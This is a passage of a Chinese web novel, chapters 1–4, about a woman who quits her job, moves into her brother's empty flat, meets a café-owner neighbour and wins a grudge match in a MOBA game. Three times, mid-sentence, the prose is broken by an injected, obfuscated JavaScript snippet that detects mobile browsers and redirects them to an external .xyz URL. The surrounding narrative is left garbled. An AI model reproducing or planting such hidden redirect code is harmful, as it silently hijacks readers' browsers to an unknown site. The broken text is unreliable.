《游戏搭子今天也想演我》 1. 关时 “受不了了。” “我要辞职!我要离家出走!” “我手里八个案子!档案把我人都淹没了!傻逼领导还让我去接新客户!” 程舒晚拿起手机,被满屏的感叹号和表情包晃花了眼,她一条条浏览,随后真诚敲下对好友的关怀:“你别死我手机里,牛马。” 对面回得飞快:“他妈的程舒晚你这张嘴该判刑。” “怎么,要给我发律师函?” “我明天就邮给你。”对面哼道,“你呢?复工没?” “没,我辞职了。” “啊?什么时候?” “上周。” “不是,你怎么不说啊,那你现在回朔江了?在家?” “没。”程舒晚往车窗外看去,“我在离家出走。” 春节刚过没多久,春寒尚且料峭,今天却罕见地出了太阳。 却没办法把程舒晚的心情照得更美丽些。 小面包车穿过朔江市,从城东开往城西,就算不塞车在路上也要花一个多小时。程舒晚一路颠簸得头晕眼花,闭上眼睛揉了揉,“师傅,快到了吧?” 司机是个黑皮肤、精瘦的中年男人,一看就是常年在外奔波的,“是嘞,过个路口就到。” 小面包车拐进名叫“红枫”的老小区,在门口被拦车杆拦下,保安亭里探出个脑袋来:“干什么的?” 程舒晚微微低头越过司机冲保安回答道:“住户,搬家。” 保安似乎认得程舒晚的脸,点点头放行了。 二十年前的小区布局老旧,水洗石建筑排布紧密,疏于修剪的玉兰树树冠茂密,几乎遮盖了车道上的阳光。 小面包车在十三栋楼前停下,程舒晚下车来,往单元门看去,哪怕临近中午,楼道仍然采光不足,防盗门里看起来黑黢黢的,像个黑洞。 她收回目光,难得有些烦躁。 过去几个月,兄长的住处是家里不能提及的禁词,她极力避免和这儿有牵扯,没想到最后还是搬了过来。 “好,都在这儿了。”司机把行李放在路边,“砰”地盖下后备箱,“我只拉货,不帮你搬的哈,美女。” “嗯。”程舒晚掏出手机,在屏幕上点了几下,“师傅,我给你转二十,帮我看几分钟行李就行,有电梯,我可以自己搬。” 司机看了眼手机,这姑娘确实给自己发了个红包,这不废话的劲儿让他一下有了些好感,改口道:“那我帮你搬到电梯口吧,你一个姑娘家的。” “嗯,谢谢。” 有钱能使鬼推磨,程舒晚不在意对方急转的态度,让他先搬着,自己拉上最轻便的行李箱先滴卡走进单元门上了电梯。 这小区的居民楼是一梯两户,兄长的屋子在顶层八楼。老电梯速度很慢,程舒晚盯着屏幕上的数字一格一格攀升,封闭的空间里空气都是寂静的,她能听到自己的心跳比平时要快。 时隔半年再次来到这里,居然有些忐忑。 叮。 电梯门徐徐打开,程舒晚捏着行李箱拉杆的手一紧,迈步走了出去。 电梯外是非常普通的公共入户区,右手边是802房,军绿色的防盗门,门口落了灰的鞋架,跟上次来的时候没有区别。 程舒晚放下行李箱重新下楼,没有多看。 下行的电梯在六楼突然停下,一个体态圆润的阿姨看也没看就抬脚往里走,猝不及防被程舒晚吓了一跳,“哟”了一声。 程舒晚站在电梯靠里的位置,无声无息地看着她。 “哎呦你怎么不出声儿,吓着我了。”阿姨道,“下楼的?” 程舒晚点头。 阿姨进电梯里来,颇为好奇地打量程舒晚,“你是七楼家姑娘的朋友?不对,不像,过年才见过,没这么高。” 程舒晚个子高挑,面容精致而清冷,细长的眼睛微微垂着,顺着眼尾流露出的眼神没有情绪和温度似的,自带生人勿近气质。 程舒晚:“刚搬来,住八楼。” 阿姨闻言脸上笑容一僵,“八楼?802?” “嗯。” “啊……”阿姨欲言又止,“那你是802那小伙子的……” “妹妹。” “哦,哦……这样啊。” 阿姨没再搭话,似乎琢磨起心事来,程舒晚也乐得清静——她知道这阿姨在琢磨什么,但是她不在意。 电梯门一开,阿姨躲避瘟神般闪了出去。 楼道狭长,阿姨走出一段,回头见程舒晚把电梯外放着的两个箱子搬进电梯又上楼去了,松了口气。她出了防盗门,见外头停着一辆小面包车,司机正要搬两包行李,连忙过去,冲那司机问:“搬家?八楼那户?” 司机抬起头望向这个突然搭话的中年妇女,有些疑惑,“哪户我不知道。” “跑货的?”阿姨打量他两眼,面色神秘地冲他摆摆手,“别搬啦。” 司机更加莫名其妙,“你谁啊?” “我住这儿的,好心提醒你啊,别上他们家屋子去。”阿姨压低声音,“容易沾晦气呀,影响生意和运气嘞。” 她一副神神叨叨的模样,看着奇怪,但人到中年总是会在玄学领域转两圈,司机很难忽视她所说的内容,手上动作也停了,“怎么说?他们家咋的?” “他们家去年,”阿姨眨巴两下眼,“房子里啊……” 身后突然传来一声笑意:“谁家?” “哎哟我……”阿姨吓了一跳,还以为编排被正主听见了,往旁边蹦了起来,看清来人才长舒一口气:“哎哟小关老板,你吓死我!” “做贼心虚吧苏姨,”来人笑道,“你又在聊谁的八卦呢,我也听听?” 这是个身材高大的男人,一头漆黑的短碎发,身上套着浅色的冲锋衣,脸上是放松亲和的笑容,他五官立体深邃,瞳色比常人浅,兜着两大包不要钱的笑意,逢人就发一把,宛若电视剧里玩世不恭的富家少爷。 只是这位少爷左手拎着几包蔬菜肉排,右手是一袋鸡蛋,从电视荧幕劈叉到了市井街头,颇具人烟气儿。 “你妈又使唤你买菜呢?”阿姨对这年轻开朗的大小伙子颇有好感,笑得眼角出褶,“嗨,没啥,就八楼那家,搬来了个姑娘。” “姑娘?”关时面露讶异,扫一眼在旁听八卦的司机和地上两包行李,“802?” “可不就那家!都空了小半年了,我还以为他们家要卖了哩……也是,怎么能卖得出去。搬来的是那家妹妹,我刚刚看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364874|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,冷冰冰的瘦条瘦条的,哎哟,看着就不是福相,指不定他们家那家小伙子就是……” “好了苏姨,少在网上看什么虚头巴脑的东西。”关时笑眯眯地打断了阿姨接下去的话,“到点儿了吧,你孙子中午放学了。” 被关时一点,阿姨这才想起来自己出门是干什么,连忙摆手,“啊哟不说了,差点聊忘了,我还得去接孙儿吃午饭呢,走了啊走了啊,小关老板,再见啊。” 关时送走了嘴碎的八卦阿姨,余光瞧了瞧司机,“没事儿啊师傅。” 司机莫名极了,觉得这些邻里街坊在打什么他不知道的哑谜,“帅哥,那家到底咋的?” “算是出了点意外吧,就那之后那家空了半年,不过现在有人搬来,也说明没什么事儿了。”关时展颜笑道,“谁家没点困难呢。” 他这话说的没错,但是司机总是隐隐觉得哪里不对,还没来得及想明白,关时指了指地上的行李,“搬来的人家姓程吗?长头发,眼神儿挺冷一姑娘?” “你认识?” “啊对,朋友。我帮她看行李吧,就不麻烦你了。” 再说电梯里,程舒晚发觉兜里的手机震动两下,摸起来看,司机把她的红包退还了,还发了条信息,说是有个称是她朋友的帅哥帮忙看行李,他接了新的单子,先走了。 程舒晚看得眉头一皱。 朋友?我哪来的朋友? 来不及发消息去追问,电梯叮的一声到一楼了。程舒晚收起手机走出电梯,快步走出单元门,一眼就看见了自己那两包行李和旁边站着的人影。 那人身材颀长有型,站在树荫里,被树叶切得细碎的阳光在他身上跳动,像是一簇簇金色的火苗。 他转头过来,抬起手扬了扬,带着笑意的目光绽放开:“你好,没记错的话,你是程舒晚?” 程舒晚手指悄然攥紧,“是你。” 她记忆力很好,半年前她和这青年打过一次交道。 不过她不知道他的名字。 “太好了,你记得我。”关时笑道,“刚刚听邻居说8楼搬来个姑娘,我就猜是你。我叫关时,幸会。” 哦。 关时。 程舒晚没想认识他,但出于礼貌还是把话题稍微抻了抻:“你住这儿?” “对,跟你同一栋,五楼,501。” “……嗯。” 他为什么要自报家门。 不过程舒晚也不在乎,弯腰准备提起自己的行李,关时开腔:“我帮你。” “不用。”程舒晚拒绝了,一手一袋拎起最后两袋行李,往楼道的方向走去。 靠近紧闭的防盗门时,她正准备放下行李掏门禁卡,关时已经三两步过来率先滴卡,拉开门,笑眯眯的:“请。” “……谢谢。”程舒晚一点头。 和她的冷淡不同,关时看起来对她挺有兴致,不但帮她开门,还走在前面先按了电梯开门键,进电梯后又顺手按下5楼和8楼两层。 程舒晚微微垂着眼皮盯着正前方的地面,但眼角余光能感受到那高大的青年似有若无的目光。 “你。”程舒晚开口。 关时:“嗯?” “有话要说?”程舒晚问。 2. 老板 程舒晚从不是个委婉的人,这点遭人诟病,但她无所谓,她从不想跟谁打好关系。 关时没有因为她的直白而尴尬,露出一个坦然的笑,“我记得你不在朔江工作,搬回来了?” “嗯。”程舒晚没什么情绪,“还有事吗?” 话里话外都是“我不想跟你扯上关系”的意味。 “没事。”关时笑了笑收回目光。 叮的一声电梯门打开,五楼到了。 关时走出门,回头道,“你哥是我妹妹之前的班主任,也是我的朋友,你要是平时有什么困难和问题都能来找我,我住这边,501。” 他指了指501房的门,笑着挥手,“拜拜。” 关时的语速不快,但是话还挺密,直到电梯门关上,程舒晚都没有找到机会插上两句。 不过就算有,她也不知道该说些什么。 她盯着电梯的数字继续跳动,面无表情,关时的出现并没有打乱她的情绪。 就像突然刮过的一阵夏日的风。 程舒晚走出电梯,把门口的行李搬进802。 802是兄长在两年前买下的二手房,又重新翻新了装修,是时下流行的简约风格,也很符合程舒晚的胃口,一百一十平的面积独居起来也很宽敞,各方面都很满意。 房子平时定期有让人上门打扫,所以空置半年也不脏不乱,只是有点儿落灰。程舒晚简单打扫一遍就开始收拾自己的行李,寻思着早点收拾完,可以去附近的网吧打打游戏。 程舒晚没有什么爱好,除了看点闲书之外,她唯独喜好打游戏,大学时什么类型的游戏都玩儿,但最主要的还是网游,她在课余还做过网游的直播。 竞技,强反馈,快节奏,非常符合她的胃口。并不是说动辄上百个小时的单机游戏不好,而是她实在空不出时间去玩。 尤其开始上班,她连网游都没再碰过了。 可惜自己的笔记本电脑昨天在家被砸烂了,不然还不用上网吧去。也不是不能配一台新的,但毕竟现在没有工作,钱这件事还得从长计议。 程舒晚刚拿出手机准备看看电子产品当前的市价,一通电话正好打了进来,备注是“谭律小姐”。 谭律大名谭婧,程舒晚的发小、邻居兼高中同学,也是她唯一的朋友。 就是车上刷屏她的那位。 谭婧是公认的卷王,在学校的时候蝉联两年文科班年级第一,高考也以高分考进京大的法学系。 在研究生毕业后这位卷王返回朔江市,如愿进入了市里有名的律所。本来以为十年苦读终于迎来光明璀璨的未来,但无休止的加班和物种多样性的见证都给她当头一记闷棍,这不,刚刚就嚎上了辞职宣言。 只是她没想到,程舒晚比她动作快多了。 “不是,你什么情况?”程舒晚刚一接通电话,谭婧震惊的声音就嚷嚷起来,“妈的刚刚被领导叫走了没来得及展露我的震惊,你怎么辞了,还什么离家出走……你现在在哪?” “嗯,辞了。”程舒晚往沙发上一坐,“现在在我哥这儿。” 电话那头安静片刻,谭婧持续震惊:“你哥?红枫小区?你哥那套房子?” “嗯,我搬过来了。” “卧槽……你爹妈没拦着?” 程舒晚干笑一声,“他们让我别后悔。” “得。”谭婧叹了口气,没对她搬家的原因过多询问,“真辞啦?” “嗯,不想干了。” “啧,国内互联网公司龙头,你当时九死一生进去的,不是说马上要提部门副经理了吗,现在说走就走,不可惜啊?” 可惜……可能还是有那么一点点的,程舒晚想。 行业龙头公司,三年,从实习新人磕磕绊绊走到现在,马上就要晋升核心技术部门的中层,这晋升速度几乎是飞升,与之对应的是嫉妒与仇恨的目光,是斤斤计较的算计,是半夜失眠到反胃,一个人在洗手间呕吐,是一个月进三次急诊,以及…… “工是打不完的,歇段时间先。”程舒晚收敛思绪,避重就轻道,“还能有时间整整爱好。” “爱好?你要复出游戏主播吗?” 程舒晚一顿,还没对这话做出什么反应,谭婧很快改口道:“哦不对,你指的应该只是单纯打游戏吧?” 程舒晚慢吞吞地“嗯”了一声。 “那你今晚打不打《封神图录》?”谭婧摩拳擦掌,“要不要姐上号陪你?” “你不加班么,九个案子,你这周末都别想休息。”程舒晚兜头浇下来一盆冷水,“给我回个电话都只能抽午休,多惨。” “我谢谢你啊,”谭婧咬牙切齿,“就说你这张嘴该判刑!” 程舒晚笑了一声。 “你等着,我这两天安排安排凑个时间找你喝茶。”谭婧说道,“你辞职回朔江这么大的事,一个星期了都不告诉我,毛病。” “你忙啊。”程舒晚叹气。 “得,不说了,改天再谴责你。挂了。” 挂断电话,程舒晚点了份外卖填饱肚子,先不着急电脑的事儿了,继续收拾起自己的行李来。 她的行李中有三分之一是书,但书房里的书架基本是满的,她的书放不上去,只能找个地儿量好尺寸,老老实实上网选购新的书架。 书架上的书放了很久早就落了灰,扔掉都行,但她不想。 都是兄长的书。 一边收拾一边添置,又把房间里里外外清理一遍,弄得差不多时天都快黑了,已经到了晚饭时间。程舒晚洗了个澡,揣上身份证,准备去吃个饭顺便找地方打游戏。 没记错的话,这片有一家环境很不错的网吧。 红枫小区周边生活措施齐全,楼下就有早餐店、面馆,不远就是菜市场,后巷还有扎堆的烧烤摊大排档,几百米之外就是大荷地铁站。在地铁站不远,两条街左右,就是朔江市排名第一的重点高中,文山中学。 正是程舒晚的母校。 但提起那儿,程舒晚没有任何感激之心,文山中学跟她辞职的公司一样,是一个应该给她结算精神损失费的地方。 程舒晚可没有夜游母校的兴致,她钻进一家还算干净的小面馆简单解决晚饭,在小区外绕了半圈,成功找到那家网吧。 招牌上的名字是“木吉网咖”,不是十年前那种小网吧,规模相当大,占了两层楼,透过明亮的落地玻璃能望见里面除了坐满的大厅之外还有餐饮区、零食小卖部,环境优雅有格调。 程舒晚上一次进网吧已经是七八年前,如今新时代网咖早就脱离了当年的影子,她站在门口罕见地有些无所适从,目光扫过店里明亮可鉴的大理石地板,心里闪过一个念头。 这店的老板肯定是个与时俱进的死装。 前台的店员小哥见客人进来,露出标准的微笑:“上机吗?” “嗯。”程舒晚把身份证递了过去,“第一次来。” “好的。大厅还是包厢?” “有单人那种包厢么?” “有的,那就给你开单人包厢。有配置要求吗?” “就打打网游,没什么要求。” 店员在机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364875|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上操作好,把身份证递了回来,“我带你去。” 程舒晚倒是知道一点儿,现在的网咖开机是比以前繁琐,有店员带也不至于一头雾水。她正准备跟着店员走,身边却突然响起一个带着笑意的男声:“小贾你待着,我带她就行。” 这声音有点耳熟,程舒晚转头去,映入眼帘的是个身材高大,脸上挂笑的俊朗男人,视线碰上还朝她弯了弯眉眼,用眼神打了个暖洋洋的招呼。 是关时。 和中午见面时不同,关时换了身衣服,这会儿穿着轻薄的黑色衬衫,下摆扎进白色的阔腿裤中,掐出了极好的腰线,少了些大小伙子的少年感,凸显几分禁欲和成熟。 不对,他怎么在这儿。 那店员一见关时,脸上多了几分意外,“时哥,你朋友?” 时哥? 程舒晚不笨,马上就琢磨出关时在这儿的地位来,“你是老板?” “不像?”关时笑道。 程舒晚目光飞快地上下扫过关时的打扮,心道自己的直觉没有出错,“像。” 老板的确是个与时俱进的死装。 关时瞥了眼店员的屏幕,“15号单人包间是吧,跟我来。” 人生,还挺奇妙的。 程舒晚早就知道搬过来会有很大概率碰上兄长的旧友熟人,但不碍事,就算是邻居,大家都关起门来过自己的日子,谁影响不了谁,她中午也没把关时的昙花一现当做需要应付的事。 结果转头就踩进了他的地盘。 单人包间地方不大,关时低着头在电脑上输着密码,程舒晚只能在后面靠着门看他操作。他微微弯着腰,衬衫因此而绷住,把肩背的线条勾勒出来,硬朗有力,程舒晚想他应该有健身习惯。 今天见到关时的时候他脸上总挂着亲和的神色,而现在有足够的时间揣摩,程舒晚才发现关时的长相不算和善那一挂,甚至张扬得有些攻击性。 平时掩盖得很好啊。 看来他很精通如何跟人打交道。 程舒晚抿嘴,这是她不擅长应对的类型。 “下机的时候可以在这儿结账,或者去前台说一声,如果之后常来的话可以办会员卡,有七折优惠。”关时直起身子来,一五一十地介绍着,“有什么需要可以按这里叫网管,或者现在告诉我。” 程舒晚看着他。 关时也看她,“有什么问题吗?” “没有。”程舒晚收回目光,“就是,挺有意思。” “嗯?” “老板从员工手里横刀抢走活计,”程舒晚勾了一下嘴角,“就为了给我推销会员卡?” 关时:“……” 程舒晚在椅子上坐下。 她也不知道自己发什么疯,闲得没事要去挑衅人家。 可能是不喜欢关时这种看似亲和实际满肚子算盘的家伙,想看他尴尬。 又或者只是她单纯有病。 “推销?那倒不是。”关时笑了笑,接她的话,“今天我说,有困难有问题随时找我,你当时看起来不太在意。” 嗯。 确实。 程舒晚认为“随时找我”跟“改天请你吃饭”一样,是句意味着话题到此为止的客套,所以她没放在心上。还是那句话,大家关起门来过自己的生活,谁闲得没事去管你呢。 关时双手插在裤兜里,懒散笑着看她,“所以我特地来告诉你一声,我是个有点钱有点人而且日常很闲的老板。” 程舒晚:“……” 程舒晚:? 这是什么,炫耀? 3. 挑衅 关时:“所以,‘随时找我’不是客气,我有多管闲事的能力。” 哦。 这个意思。 不是。 这是什么很重要的事情吗? 程舒晚拧着眉匪夷所思地盯着关时,但他只温和且标准地露了个微笑,转身走出了包间,随手把门关上了。 有病的不是我,是这家伙吧。 程舒晚满脸莫名地转回身面对电脑桌面。 不得不说,这网咖的服务体验确实不错,桌边配备一次性消毒湿巾,角落还挂着清新的小苍梨香包。程舒晚撕开消毒湿巾的包装袋,把鼠标键盘耳机都擦拭一遍,突然想到,关时那么热衷于帮助她,可能因为她是“朋友的妹妹”? ……那真的挺多管闲事的。 就算有兄长这层关系,他们也不过是有一面之缘的陌生人而已。 而且半年前就那“一面之缘”,他们两人之间也没有交流。 她只是跟他借了支烟而已。 程舒晚没有在关时的态度上多想,收敛思绪,打开了电脑网页。 热门的游戏社区“游播社”是《封神图录》的大本营,这里汇聚了玩家、陪练、主播、博主等各种身份的人,要话题有话题,要商业有商业,是个非常完整的生态。 最近正是《封神图录》上线九周年的周年庆典,社区里过年了一样。 程舒晚三四年没玩过这个游戏了,刷着社区了解游戏内的新动向——新装备、新人物、新皮肤、新的平衡改动、电竞赛事……她突然被一条标题吸引了目光。 “千机鸟主播大盘点,你关注的是哪位?” 程舒晚的目光停留在“千机鸟”这个游戏人物的名字上,下意识地点进了标题。 千机鸟是这游戏的热门人物,身上具有所有游戏玩家都无法拒绝的特点——华丽,帅气,高爆发。 但机制很复杂,对玩家的技术有很高的要求。 程舒晚之所以被这个标题引起兴趣,也是她在大学期间用空余时间当游戏主播的时候,最拿手的人物就是千机鸟。 要这么说,她也算个“千机鸟主播”? 不过很遗憾,程舒晚整篇文章浏览下来,没有发现自己的网名。 也是,别说是现在,就是当年她也只是个不温不火的小主播,有谁会在意呢。程舒晚想着,刷到了评论区。 -能把千机鸟玩上国服的玩家都有两把刷子的,这个排行榜超级卷,靠前的全是熟面孔,要么是俱乐部选手要么是各区大佬。 -第2区的“巴山雨”、第4区的“尬仙”都超级牛,关注好久了。 -博主你盘点不全啊,没有1区的阿早? 程舒晚的目光在这个评论上停顿了一下。这一层有好多人回复,她搓了搓手指,握着鼠标点进去。 -阿早是谁? -我靠层主一说我想起来了,是个千机鸟贼厉害的女主播“早早不起早”,曾经在国服前十稳定过一段时间,指路@阿早。 -阿早啊,曾经的千机鸟一姐,远古的回忆突然创了我一下。 -怪不得没盘点到,这才直播了一年半,早停更了。 -从主页回来了,这主播挺屌的啊,还是女的。 -算了吧,听说她有瓜,之前也是因为这个退网的。 程舒晚看到这,眼疾手快地把这篇文章关掉了。 退网的事情发生在她大三那年,要说起前因后果其实也没什么太复杂的,只是父母不允许她去做“抛头露面的下三滥行当”。 当时闹得挺难看的。 算了。 都过去了。 程舒晚关掉了网页,打开《封神图录》,面对账号输入的界面想了想。 “早早不起早”是她大学时候直播时用的账号,里面有很多好友,不方便。 玩小号好了。 她哒哒哒地输入一串账号和密码。 小号是高中的时候注册的第一个账号,第1区风起古迹,最老也是最藏龙卧虎的区服。 游戏ID,小鬼叉烧。 “欢迎回归纷争战场,封神者!” 《封神图录》是5V5的MOBA网游,游戏背景是神格失位、人神妖三方混战的上古时代,围绕争夺天地重新封神的洗牌机会,各方势力合作、对抗。 MOBA网游的玩法就是典型的三路对抗,带领兵线推进,率先打爆对方基地的一方获胜。 程舒晚作为曾经的国服玩家,操作不可谓不强,但毕竟有几年的空白期,退步到什么水平她也不清楚,先选个辅助试试水。 虽然是这么想,但是进入人物选择界面时,系统会自动把常用人物放在最前面,所以程舒晚一抬眼就看见千机鸟华丽的身姿出现在屏幕上。 千机鸟在游戏中是个身材窈窕的姑娘形象,脸上戴着帅气的面罩,面向屏幕的方向。 仿佛穿过屏幕,与程舒晚遥遥对视。 她曾经最擅长,陪伴她最长久的人物,此刻似乎在无声地对她说,选择我。 选吗? 程舒晚握着鼠标的手犹豫片刻,突然图标一灰,千机鸟被一楼的玩家抢先选走了。 啧。 程舒晚蹙了下眉,后悔了。 这只是场普通的路人局,选择人物就是先到先得,程舒晚也没什么好说的,于是随便挑了个辅助,腓腓。 她刚刚点击确认,没想到那抢走了千机鸟的一楼冷不丁发了句嘲讽:“哪来的混子选腓腓,谁带的妹啊?” 混子?程舒晚挑了挑眉头。 好久没听见有人这么称呼她了,一时间还有些新鲜。 腓腓是给队友上buff的软辅助,没有主动参与攻击的手段,因为机制简单成为很多新人的选择,但新人毕竟游戏水平有限,所以在低段位的对局选择腓腓,在一些人眼中就相当于自爆是个混子。 雪上加霜的是程舒晚这个账号因为常年弃用段位很低,队友能查看的“最近对局”也是一片空白,看起来就更像是个混子了。 队友脾气还不错,帮她说话:“还没开始打呢,别这么冲。” “你带的妹啊?”一楼这下把火拱到队友身上,“让你妹子多练练吧,选个混子人物来恶心人,菜就别玩游戏。” 他这番火气莫名其妙,把队友也整不耐烦了:“神经。” 还没开始打队里火气就这么大,程舒晚不擅长调停,想了想,干脆不多说了,反正低段位的对局对配合没有那么大的要求,都是各打各的。 至于她是不是混子,进游戏不就知道了。 她倒要看看,抢走了她的千机鸟的一楼是什么水平。 游戏前期三路对线,由进攻位、防御位、控制位分别带领小兵击杀对方小兵和人物来发育经济,辅助位和突进位游走全局支援,一起向前推进战线,是这游戏基本的打法。 如果是程舒晚拿到打野突进的千机鸟,开局会先清扫自家野区升级再打架,因为千机鸟开局技能没点亮的时候机制不完整,要避免正面对决。 然而一楼的选择跟她截然相反,一开始就偷偷摸进敌方的野区想反野,可惜运气不怎么样,正好迎面碰上敌方的辅助和突进。 程舒晚耐着性子,发了个“撤退”的提示。但一楼不领情,一身反骨地头铁迎上,成功地在两人包夹攻击下送出一血。 程舒晚没话说——她都发消息让他撤退了,他不听,那可怪不了她。 杀掉一楼的两个人选择继续进攻,朝着落单的队友过去了,程舒晚率先发现,立刻标记信号点,随后避开敌方的视野进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364876|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行支援,千钧一发之际闪现给队友套盾、加攻速,一波反打,收掉了对面两个人头。 队友发信号夸赞:“腓腓可以啊!” 常规操作而已,程舒晚回了个“谢”。 一楼似乎是面子上过不去,梗着脖子找存在感:“还不是我消耗了他们的血量。” 队友:“你消耗了啥,就你那点烂操作一条命都没换到对方一格血。” 一楼:“那辅助支援都不支援我,我能有什么办法。” 啊? 程舒晚脑子里浮现一个巨大的问号。 你没事吧,这都能往我身上泼脏水? 她没忍住冷笑了一下,在公屏上打字:“可能是辅助救不了你,要不另请高明?” 一楼:“就说你是混子吧。” 程舒晚:“这么说,你打输是因为混子不支援你?好完美的逻辑,是用来给自己建道德高地的吗?怪不得这么没素质。” 这一通阴阳怪气惹得队友发了串“哈哈哈”,一楼这下不说话了,复活之后灰溜溜跑到下路清野怪。 程舒晚在中路支援控制位,同时视野也往下路拉过去,看看极品一楼在干什么。 下路刚刚结束对线,对面的C位残血龟缩防御塔下,是千机鸟收割的机会。 千机鸟有多段位移技能,做的就是远距离瞬间入场、瞬间爆发击杀的活计,但自身身板也脆,所以容错率很低,需要玩家精准操作。 一楼显然没有这个操作水平,非常丢脸地再次被敌方放风筝死在防御塔下。 队友条件反射地对一楼发出嘲讽:“不是哥们儿,残血你都收不掉,还让人反杀了?” 一楼挂不住面子,暴躁地转移火力:“辅助你又在干嘛?你要是给我套个盾我就能把他杀了!支援突进位不是你该做的吗?会不会玩啊?” 程舒晚懒得再跟他弯弯绕绕,阴阳怪气也是要费脑子的:“因为你菜。” “轮得到你对我指指点点?”这句直白的嘲讽戳到一楼的肺管子,他立刻跳脚起来,“我怎么都比你一个女的技术好!” 唉。 程舒晚叹了口气。 她真的,只是想打个游戏而已。 不过既然挑衅上门,她没有不应的道理。 “那solo。”她打字道,“来不来。” 她秉承吵架是为了发泄情绪不是为了解决问题的理念,但跟傻逼吵架只会拉低智商拉高血压,此刻用行动来代替吵架肯定有用得多。 此话一出,队友们都兴奋了:“来真的?” “喂,不应战是孙子啊!你自己说技术比人家好的!” “要是你觉得欺负人,我来跟你solo也行,早看你不顺眼了。” 队友都挺会造势的,看热闹不嫌事大。程舒晚继续操纵腓腓在战局游走,等着一楼给出答复。 过了一会儿,也不知道是真的被其他人激将还是对自己颇有信心,一楼真的应下来:“等这局打完。” 程舒晚:“成。” 大概是都等着看乐子,队友一个个跟打了鸡血一样,进攻和推塔的信号就没断过,对局十五分钟就以胜利告终,游走全场支援和关键辅助的程舒晚拿下了全场MVP。她建立了1V1房间拉了一楼进来,其他队友也问了房间号前来观战。 一楼在房间里放垃圾话:“你等会别哭就行。” 程舒晚懒得跟他多说:“嗯嗯。” 进入人物选择界面,千机鸟再次出现在列表第一位。 虽然完全没有事先练手复健,但是程舒晚相信以自己的水平收拾这个家伙绰绰有余。 而且千机鸟永远不会背叛她。 这次她不会犹豫。 程舒晚按下确认。 进入1V1对局。 4. 朋友 一进对局,一楼就迫不及待地叫嚣起来:“你选千机鸟?以为能玩得比我厉害吗?我那是不熟而已,你以为随随便便就能玩得很好吗?” 在给自己找台阶呢。 程舒晚没有理会他,专心清兵线升级。 技能不全的千机鸟没有正面战斗能力,升级才是最重要的事情。 一楼选择的是进攻位人物“白面猿猴”,等级低的时候也有很强的正面作战能力,他显然明白这一点,碰面就技能起手袭来,逼迫程舒晚正面打架。 程舒晚吃了一个技能,血量下去了一小节,但她不急不缓,继续清理兵线。 一楼嘲讽:“不敢跟我打啊,怂货。” 程舒晚清理完最后一个兵,等级提升,技能点亮。 几乎同时,白面猿猴的技能CD好了,他立刻拉近身位,再次扑来。 而这次程舒晚几乎是肌肉记忆就摁下技能闪过攻击,随后连招反打。 很奇妙。 关于千机鸟,明明好些机制去回想时都有些模糊了,但当手眼脑聚在一起时,程舒晚完全不用思考,屏幕上这个小人就是她的四肢躯干,她想做什么就能做什么。 就好像没有几年的空白一样,操作依然流畅。 她的反打非常突然,一楼猝不及防把技能吃了个满,血条刷刷刷就掉了下去,他一看不对劲,转身就要跑。 程舒晚没给他这个机会,闪现,技能命中。 击杀! 公屏上安静好半晌,一楼似乎被这完全没料到的反攻给打傻了。 程舒晚:“大意了?” 一楼:“让你而已。” “哦。”程舒晚笑,“那别放水了。” 放水,那得有水才能放。 一次可以找借口说是让,两次可以说是大意,三次呢?四次? 当连着第四次被程舒晚手中的千机鸟击杀,一楼终于意识到不对劲。 “代打吧你?”他在公屏打下不可置信的话。 程舒晚:“对付你还不用找代打。” 好说歹说,千机鸟也是陪她杀进国服榜单前十的人物,杀起这个嘴硬的菜鸟不需要耗费太多的精力——击杀,击杀,击杀。 一楼节节败退,最后被教训得龟缩在水晶不敢应敌,在公屏崩溃:“你打这么牛逼选什么腓腓啊!” “我爱玩什么玩什么。”程舒晚懒得争辩,“再见,傻逼。” 封神! 结算界面弹出来,程舒晚放下手,揉了揉肩膀伸了个懒腰,往后靠在椅背,盯着屏幕。 随后笑了一声。 好纯粹,好俗气的快乐。 没办法,她就是个俗人。 屏幕上蹦出几个好友申请,是方才的队友发来的,但程舒晚没有接受,挨个儿拒绝,然后退出房间到游戏主界面。 她这个号是不加好友的。 好友加多了,有些人就会被遗忘。 程舒晚点开好友列表,空空荡荡的一片,只有最顶上挂着一个灰色的头像。 那个头像是张风景照,ID名叫“二更天”,上线时间是七年前。 程舒晚第一次玩《封神图录》的时候是高二,那时候游戏刚刚上线没多久,二更天是她玩游戏以来的第一个好友,是对她来说意义非同凡响的游戏搭子。 可以说没有二更天,就没有现在的她,只有这个好友是她这个账号最不想丢弃的东西。 程舒晚盯着这个好友半晌才关掉,收敛思绪,点开了排位比赛。 